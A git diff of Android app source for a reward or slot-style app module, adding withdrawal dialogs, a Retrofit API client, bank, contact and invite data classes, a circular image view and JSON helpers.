findViewById(R.id.bankinfo).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toBankInfo(); + } + }); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.BOTTOM; + wlp.width = WindowManager.LayoutParams.MATCH_PARENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + window.setAttributes(wlp); + } + + +} diff --git a/base_bk88/src/main/java/com/web/base/ActionWithDrawApplyDialog.java b/base_bk88/src/main/java/com/web/base/ActionWithDrawApplyDialog.java new file mode 100644 index 0000000..67e6b23 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -0,0 +1,112 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 提现申请 + */ +public class ActionWithDrawApplyDialog extends Dialog { + private final Context context; + private View lineV; + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + private TextView balanceTv; + String content; + String cancel = null; + String sure = null; + String myInviteCode; + private boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionWithDrawApplyDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + public ActionWithDrawApplyDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_withdrawapply); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + balanceTv = findViewById(R.id.balance_tv); + balanceTv.setText(String.format(context.getString(R.string.app_balance), MainActivity.getString(context, "balance", "0"))); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + findViewById(R.id.tv_records).setOnClickListener(view -> { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(context, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + }); + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_withdraw_apply_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java b/base_bk88/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java new file mode 100644 index 0000000..a9f8fbe --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -0,0 +1,118 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示申请记录 + */ +public class ActionWithDrawRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyWithDrwaListAdapter listAdapter; + private TextView tvNoData; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionWithDrawRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvNoData = findViewById(R.id.tv_nodata); + tvTitle = findViewById(R.id.content_tv); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + tvTitle.setText(context.getString(R.string.app_withdrawtitle)); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyWithDrwaListAdapter(context, listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getWithDrawRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + WithDrawListInfo inviteInfo = o.data; + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + }); + } +} diff --git a/base_bk88/src/main/java/com/web/base/Api.java b/base_bk88/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ApiService.java b/base_bk88/src/main/java/com/web/base/ApiService.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/ApiService.java rename to base_bk88/src/main/java/com/web/base/ApiService.java index 3598ab6..8457d7c 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ApiService.java +++ b/base_bk88/src/main/java/com/web/base/ApiService.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.util.List; @@ -11,7 +11,6 @@ import retrofit2.http.GET; import retrofit2.http.Headers; import retrofit2.http.POST; import retrofit2.http.PUT; -import retrofit2.http.Path; import retrofit2.http.Query; public interface ApiService { @@ -19,7 +18,7 @@ public interface ApiService { String URL = "https://api.liulao.top/"; // String URL = "http://192.168.8.184:8000/"; - public static final String savenotify ="notify"; + String savenotify ="notify"; @GET("api/system/applicationConf") diff --git a/base_bk88/src/main/java/com/web/base/BankInfo.java b/base_bk88/src/main/java/com/web/base/BankInfo.java new file mode 100644 index 0000000..c1bb3de --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/BankInfo.java @@ -0,0 +1,43 @@ +package com.web.base; + +import java.io.Serializable; + +public class BankInfo implements Serializable { + + private String bankCode; + private String bankName; + private String country; + private int id; + + public String getBankCode() { + return bankCode; + } + + public void setBankCode(String bankCode) { + this.bankCode = bankCode; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCountry() { + return country; + } + + public void setCountry(String country) { + this.country = country; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } +} diff --git a/base_bk88/src/main/java/com/web/base/BaseApi.java b/base_bk88/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_bk88/src/main/java/com/web/base/BaseObserver.java b/base_bk88/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_bk88/src/main/java/com/web/base/CircleImageView.java b/base_bk88/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_bk88/src/main/java/com/web/base/ContactBean.java b/base_bk88/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_bk88/src/main/java/com/web/base/DataInfo.java b/base_bk88/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_bk88/src/main/java/com/web/base/DialogUtil.java b/base_bk88/src/main/java/com/web/base/DialogUtil.java new file mode 100644 index 0000000..451dfba --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/DialogUtil.java @@ -0,0 +1,58 @@ +package com.web.base; + +import android.os.Build; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +@Deprecated +public class DialogUtil { + /** + * 隐藏虚拟栏 ,显示的时候再隐藏掉 + * @param window + */ + public static void hideNavigationBar(final Window window) { + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION); + window.getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() { + @Override + public void onSystemUiVisibilityChange(int visibility) { + int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE | + //布局位于状态栏下方 + View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | + //全屏 + View.SYSTEM_UI_FLAG_FULLSCREEN | + //隐藏导航栏 + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; + if (Build.VERSION.SDK_INT >= 19) { + uiOptions |= View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + } else { + uiOptions |= View.SYSTEM_UI_FLAG_LOW_PROFILE; + } + window.getDecorView().setSystemUiVisibility(uiOptions); + } + }); + } + + + /** + * dialog 需要全屏的时候用,和clearFocusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void focusNotAle(Window window) { + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } + + + /** + * dialog 需要全屏的时候用,focusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void clearFocusNotAle(Window window) { + window.clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } +} + diff --git a/base_bk88/src/main/java/com/web/base/GsonUtils.java b/base_bk88/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_bk88/src/main/java/com/web/base/InviteInfo.java b/base_bk88/src/main/java/com/web/base/InviteInfo.java new file mode 100644 index 0000000..788659c --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/InviteInfo.java @@ -0,0 +1,109 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteInfo implements Serializable { + + + private String deviceCode; + private int id; + private String inviteCode; + private int inviteNum; + private int userId; + private String balance; + private String income; + //银行卡信息 + private String bankId; + private String bankName; + private String bankNo; + private String name; + + public String getBankId() { + return bankId; + } + + public void setBankId(String bankId) { + this.bankId = bankId; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getBankNo() { + return bankNo; + } + + public void setBankNo(String bankNo) { + this.bankNo = bankNo; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + + public String getDeviceCode() { + return deviceCode; + } + + public void setDeviceCode(String deviceCode) { + this.deviceCode = deviceCode; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getInviteCode() { + return inviteCode; + } + + public void setInviteCode(String inviteCode) { + this.inviteCode = inviteCode; + } + + public int getInviteNum() { + return inviteNum; + } + + public void setInviteNum(int inviteNum) { + this.inviteNum = inviteNum; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getUserId() { + return userId; + } + + public void setUserId(int userId) { + this.userId = userId; + } +} diff --git a/base_bk88/src/main/java/com/web/base/InviteListInfo.java b/base_bk88/src/main/java/com/web/base/InviteListInfo.java new file mode 100644 index 0000000..9b94e13 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/InviteListInfo.java @@ -0,0 +1,61 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteListInfo implements Serializable { + + private InviteCodeInfo inviteCode; + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + + public InviteCodeInfo getInviteCode() { + return inviteCode; + } + + public void setInviteCode(InviteCodeInfo inviteCode) { + this.inviteCode = inviteCode; + } + + + class InviteCodeInfo { + + private String balance; + private String income; + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + } +} diff --git a/base_bk88/src/main/java/com/web/base/LinkConfigInfo.java b/base_bk88/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 